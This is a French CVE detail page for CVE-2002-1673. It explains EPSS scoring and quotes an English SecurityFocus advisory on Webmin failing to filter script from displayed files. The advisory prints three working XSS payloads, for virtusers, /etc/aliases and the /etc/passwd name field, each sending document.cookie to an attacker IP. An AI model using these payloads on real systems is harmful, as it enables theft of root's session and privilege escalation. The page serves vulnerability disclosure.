CVE-2002-1673 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/4329/info Webmin is a web-based interface for system administration of Unix and Linux operating systems. Webmin does not filter script code from output that may be displayed by the web interface, such as log files, etc. This may enable a local attacker, with write privileges to such files, to cause arbitrary script code to be executed by the root user. Additionally, an attacker who can contrive a way to inject malicious script code into other types of output displayed by the Webmin interface may also exploit this issue. This may enable the attacker to steal cookie-based authentication credentials from the root user, eventually resulting in an escalation of privileges for the local attacker. Insert the following line into the virtusers file, and wait for the root user to visit that page: </tt></a></td><tt><td><script>/* */document.write('<img src="http://192.168.40.1/'+document.cookie+'">');</script> Or the following into the /etc/aliases file: </a></td><td><tt><script>zz=unescape("%20");document.write('<img'/*: */+zz+'src="http://10.1.1.33/'+document.cookie+'">');</script> Potentially more likely to be exploited however, would be a malicious local user who has _no_ access to webmin, who could change a file that webmin views through the HTML interface (where the code being read in is not checked for HTML). An example would be changing their 'real name' in /etc/passwd to be something along the lines of: <script>zz=unescape("%3A");document.write('<img src="http'+zz+'//10.1.1.33/'+document.cookie+'">');</script> (Although chfn doesn't let you specify a username this long, but you get the idea.)